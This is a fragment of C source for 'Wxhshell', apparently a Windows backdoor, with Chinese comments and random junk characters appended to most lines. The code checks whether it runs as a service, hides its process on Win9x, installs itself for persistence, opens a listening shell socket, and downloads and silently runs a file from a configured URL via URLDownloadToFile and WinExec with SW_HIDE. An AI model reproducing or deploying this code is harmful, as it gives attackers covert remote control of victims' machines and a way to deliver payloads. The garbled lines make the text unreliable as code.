PROCNTQSIP NtQueryInformationProcess; `A w^H!
.
$BUw
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xF;kTBRi
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _P0T)-X\(
"e.jZcN*
HANDLE hProcess; C-Q28lD}f
PROCESS_BASIC_INFORMATION pbi; sH{4Y-J
1_9<3,7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j(m.$:
if(NULL == hInst ) return 0; \NgYTZ
N5Q[n d
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c3jx+Q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,\_1w
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,K9*%rW)
WI-&x
'
if (!NtQueryInformationProcess) return 0; ,}3
'I [
W42iu"@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S2HcG
1J
if(!hProcess) return 0; )c8rz[i
fmU {
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8(pp2r lR
11o.c;
CloseHandle(hProcess); t;W0"ci9
\.MR""@y`{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `[f*Zv w
if(hProcess==NULL) return 0; L
6c 40
>V-A;S:
HMODULE hMod; [@VP?74
char procName[255]; */sS`/Lx
unsigned long cbNeeded; ojcA<60
'
5rw 7;'
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dP3CG8w5
i3tg6o4C
CloseHandle(hProcess); GeyvId03H
aI P
if(strstr(procName,"services")) return 1; // 以服务启动 EMY/~bQW
idLWe9gC
return 0; // 注册表启动 .nrMfl_
} q]T1dz?
z[b@V
// 主模块 iW$_zgN
int StartWxhshell(LPSTR lpCmdLine) d' !]ZWe
{ RIlwdt
SOCKET wsl; ^uKwB;@
BOOL val=TRUE; |Luqoa
int port=0; 3@kf@Vf
struct sockaddr_in door; ck:T,F{}
6a[}'/
if(wscfg.ws_autoins) Install(); |:nn>E}ZA/
cz
>V8
port=atoi(lpCmdLine); /)YNs7gR
,]bhy p
if(port<=0) port=wscfg.ws_port; :ci5r;^
\hTm)-FP
WSADATA data; &5\iM^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dG@%jD)
%RTBV9LIXr
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; IHB}`e|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XW[j!`nlk
door.sin_family = AF_INET; `F-/QX[:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Oxm>c[R
door.sin_port = htons(port); LhA*F[6$M
(up~[
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w mn+
closesocket(wsl); %'bM){
return 1; /a{la8Ni
} * aN
,k24w7K%d
if(listen(wsl,2) == INVALID_SOCKET) { V3&RJ k=b
closesocket(wsl); ]] !VK
return 1; ). <-X^@
} qraSRK5
Wxhshell(wsl); gH$ Mr
WSACleanup(); _GV:HOBi
yMG1XEhuG
return 0; (ceNO4"cZ
K*%9)hq
} PY{
G [
F}F&T
// 以NT服务方式启动 Lf16j*}-Q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xnt~]k\"
{ <`.X$r*
DWORD status = 0; o)h_H;
DWORD specificError = 0xfffffff; QX!-B
CNih6R
serviceStatus.dwServiceType = SERVICE_WIN32; U_Vs.M.p
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `tBgH_$M
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y^;#&k!
serviceStatus.dwWin32ExitCode = 0; >=qf/K+#
serviceStatus.dwServiceSpecificExitCode = 0; @Pm>sY}d<I
serviceStatus.dwCheckPoint = 0; O8+7g+J=!
serviceStatus.dwWaitHint = 0; r/YMLQ
1ct;A_48
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /$i.0$L
if (hServiceStatusHandle==0) return; <NR#Y%}-V
bfFeBBi
status = GetLastError(); {>}!+k
-`
if (status!=NO_ERROR) aT{_0m$G10
{ -z-C*%~
serviceStatus.dwCurrentState = SERVICE_STOPPED; )P%ZA)l%_o
serviceStatus.dwCheckPoint = 0; lG9bLiFY
serviceStatus.dwWaitHint = 0; eX?OYDDC0j
serviceStatus.dwWin32ExitCode = status; Tl%`P_J)-S
serviceStatus.dwServiceSpecificExitCode = specificError; EMh7z7}Rr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ERUz3mjA/
return; ]_Vx{oT7
} hW%TM3l}
^&B@Uw5{
serviceStatus.dwCurrentState = SERVICE_RUNNING; |N4.u
_hM
serviceStatus.dwCheckPoint = 0; &TnS4O
serviceStatus.dwWaitHint = 0; S*==aftl(
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ];VA!++
} P9GN}GN%v
n D0K).=Q
// 处理NT服务事件,比如:启动、停止 *M[?bk~~
VOID WINAPI NTServiceHandler(DWORD fdwControl) aI%g2q0f
{ 9eGyyZg
switch(fdwControl) 4qO+_!x{)
{ 6w*dKInG[-
case SERVICE_CONTROL_STOP: SOs:]U-T3
serviceStatus.dwWin32ExitCode = 0; #pT"BSz]
serviceStatus.dwCurrentState = SERVICE_STOPPED; q]\:P.x!>
serviceStatus.dwCheckPoint = 0; viW!,QQ(S
serviceStatus.dwWaitHint = 0; ({
8-*
{ Ar%%}Gx/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'vVQg
} bENdMH";
return; `EEL1[:BR
case SERVICE_CONTROL_PAUSE: q2/pNV#
serviceStatus.dwCurrentState = SERVICE_PAUSED; !-z'2B*:^
break; ZXu>,Jy
case SERVICE_CONTROL_CONTINUE: e|NG"<
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]jtK I4
break; J}*,HT *
case SERVICE_CONTROL_INTERROGATE: qaqBOHI6G
break; ]S&&|Fc
}; i)o2klIkB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7yG#Z)VE
} zbXI%
uX"H4lO~
// 标准应用程序主函数 bh s5x
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :I"2V
{ *!4Z#Y
rK@8/?y5
// 获取操作系统版本 vV'EZ?
OsIsNt=GetOsVer(); ob+b<HFv
GetModuleFileName(NULL,ExeFile,MAX_PATH); aB*Bz]5;E
#Z}Rfk(~
// 从命令行安装 Bz_^~b7
if(strpbrk(lpCmdLine,"iI")) Install(); <>n0arAn
XpIklL7
// 下载执行文件 Km%]1X7T6
if(wscfg.ws_downexe) { IrR7"`.i
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V8e>l[tH
WinExec(wscfg.ws_filenam,SW_HIDE); P]<4R:yb
} <m!h&_eg
tf=6\p
if(!OsIsNt) { T!-\@PB !
// 如果时win9x,隐藏进程并且设置为注册表启动 y>R=`A1b
HideProc(); 4qN{n#{+]
StartWxhshell(lpCmdLine); hv)x=e<
} 00<cYy
else HpR]q05d
if(StartFromService()) wGU*:k7p
// 以服务方式启动 xqXo0
StartServiceCtrlDispatcher(DispatchTable); \K_ET> !
else z(o,m3@v
// 普通方式启动 O ~(pg
StartWxhshell(lpCmdLine); !ds"9w
5(Cl1Yse=r
return 0; JHW"-b
}